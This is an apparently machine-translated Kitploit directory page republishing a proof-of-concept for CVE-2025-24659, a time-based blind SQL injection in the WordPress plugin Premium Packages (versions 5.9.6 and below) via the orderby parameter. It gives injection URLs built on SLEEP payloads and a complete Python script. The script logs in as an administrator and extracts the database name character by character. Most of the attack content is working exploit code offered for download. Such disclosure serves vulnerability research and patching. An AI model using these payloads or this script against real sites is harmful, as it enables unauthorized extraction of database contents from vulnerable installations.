Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-24659 — CVE-2025-24659 的 PoC | Kitploit
工具/GitHubGitHub/dottak/cve-2025-24659
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubdottak/cve-2025-24659

CVE-2025-24659

CVE-2025-24659 的 PoC

查看仓库
1111年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-24659

1️⃣ 组件类型

WordPress 插件

2️⃣ 组件详情

组件名称 Premium Packages – Sell Digital Products Securely

受影响版本 <= 5.9.6

组件标识 wpdm-premium-packages

组件链接 https://wordpress.org/plugins/wpdm-premium-packages/

3️⃣ OWASP 2017:TOP 10

漏洞类别 A3:注入

漏洞类型 SQL 注入

4️⃣ 前置条件

管理员

5️⃣ 漏洞详情

👉 简要描述

Premium Packages – Sell Digital Products Securely 插件(以下简称 Premium Packages 插件)5.9.6 及以下版本中存在 SQL 注入漏洞。该漏洞是由于在插件后台订单菜单(/wp-admin/edit.php?post_type=wpdmpro&page=orders)查看订单列表时,对 URL 参数 orderby 的转义不足导致的。

因此,拥有管理员权限的攻击者可以利用此漏洞访问目标站点数据库中的所有信息。

此外,虽然此 SQL 注入漏洞无法直接从响应数据中提取信息,但可以利用基于时间的盲 SQL 注入技术(通过 SQL 查询中真/假条件导致的响应时间差异)来提取信息。

👉 复现方法(PoC)

  1. 以管理员身份登录已安装并激活 Premium Packages 插件的 WordPress 站点。

    由于 Premium Packages 插件是 Download Manager 插件(https://wordpress.org/plugins/download-manager/)的附加组件,因此也必须安装并激活 Download Manager 插件。

  2. 访问以下 URL 后,SQL 查询条件(1=1)始终为真,由于 SLEEP(5) 函数,页面会在 5 秒后显示。

root@kitploit:~
http://localhost:8080/wp-admin/edit.php?post_type=wpdmpro&page=orders&orderby=1,(IF(1=1,(SLEEP(5)),0))

图片

  1. 相反,当访问以下 URL 时,由于 SQL 查询条件(1=2)始终为假,页面会立即显示。
root@kitploit:~
http://localhost:8080/wp-admin/edit.php?post_type=wpdmpro&page=orders&orderby=1,(IF(1=2,(SLEEP(5)),0))

图片

👉 附加信息(可选)

[漏洞根本原因]

在请求 Premium Packages 插件的订单列表仪表板时,会执行文件 /wp-content/plugins/wpdm-premium-packages/includes/menus/templates/orders/list-orders.php。

此时,URL 参数 orderby 的值未经适当转义便赋值给变量 $orderby。随后,变量 $orderby 被传递给变量 $qry,并完成 SQL 查询中的排序子句。

图片

然后,变量 $qry 作为参数传递给函数 totalOrders 和 GetAllOrders。

这些函数定义在文件 /wp-content/plugins/wpdm-premium-packages/includes/libs/Order.php 中,接收的参数值直接用于数据库查询。

图片

因此,由于 URL 参数 orderby 的值未经转义直接用于数据库查询,导致了 SQL 注入漏洞。

[PoC 代码编写与执行]

  1. 在编辑器中打开 PoC 代码,输入 WordPress 站点地址和管理员凭据。

图片

  1. 然后输入以下命令运行 PoC 代码。

    所需模块 requests

    root@kitploit:~
    python poc.py
    

    图片

⭐ PoC 代码

root@kitploit:~
import re
import time
import string
import requests

## To set up a proxy, enter the server address below.
PROXY_SERVER = None
proxies = {
    "https": PROXY_SERVER,
    "http": PROXY_SERVER,
}

SLEEP_TIMER = 1

def __login_get_session(login_id, login_pw):
    session = requests.session()
    data = {
        "log": login_id,
        "pwd": login_pw,
        "wp-submit": "Log In",
        "testcookie": 1
    }
    resp = session.post(f"{TARGET}/wp-login.php", data=data, proxies=proxies)
    if True in ["wordpress_logged_in_" in cookie for cookie in resp.cookies.keys()]:
        print(f" |- Successfully logged in with account {login_id}.")
        return session
    else:
        raise Exception(f"[-] Failed to log in.")

def poc_get_db_length(session):
    length = 1
    while True:
        payload = f"1,(IF(LENGTH(DATABASE()) = {length},(SLEEP({SLEEP_TIMER})),0))"
        params = {
            "post_type": "wpdmpro",
            "page": "orders",
            "orderby": payload
        }
        start_time = time.time()
        session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)

        if (time.time() - start_time) < SLEEP_TIMER:
            print(f" |- Database name length is greater than {length}.")
            length += 1
        else:
            print(f" |- Database name length: {length}")
            break

    return length 
    

def poc_get_db_name(session, db_length):
    
    db_name = ""
    for i in range(1, db_length+1):
        for char in string.ascii_letters + string.digits:
            payload = f"1,(IF(SUBSTR(DATABASE(),{i},1)=CHAR({ord(char)}),(SLEEP({SLEEP_TIMER})),0))"
            params = {
                "post_type": "wpdmpro",
                "page": "orders",
                "orderby": payload
            }
            start_time = time.time()
            session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)

            if (time.time() - start_time) > SLEEP_TIMER:
                db_name += char
                print(f" |- Database name: {db_name.ljust(db_length, '*')}")
                break
    
    print(f" |- Successfully extracted the database name: {db_name}")

def poc():
    ####
    ## 1. Log in as administrator
    ####
    print(f"[+] Logging in with administrator account.")
    print(f" |- Account: {ADMIN_ID}, Password: {ADMIN_PW}")
    admin_session = __login_get_session(ADMIN_ID, ADMIN_PW)
    admin_session.get(f"{TARGET}/wp-admin/", proxies=proxies)
    
    ###
    ## 2. Retrieve database name length
    ###
    print(f"[+] Retrieving database name length.")
    db_length = poc_get_db_length(admin_session)

    ###
    ## 3. Retrieve database name
    ###
    print(f"[+] Retrieving database name.")
    poc_get_db_name(admin_session, db_length)

if __name__ == "__main__":

    ## WordPress Target
    TARGET = "http://localhost:8080"

    ## Administrator ID/PW
    ADMIN_ID = "admin"
    ADMIN_PW = "admin"

    poc()

6️⃣ 漏洞利用演示

视频

7️⃣ 参考

  • https://nvd.nist.gov/vuln/detail/CVE-2025-24659
下载工具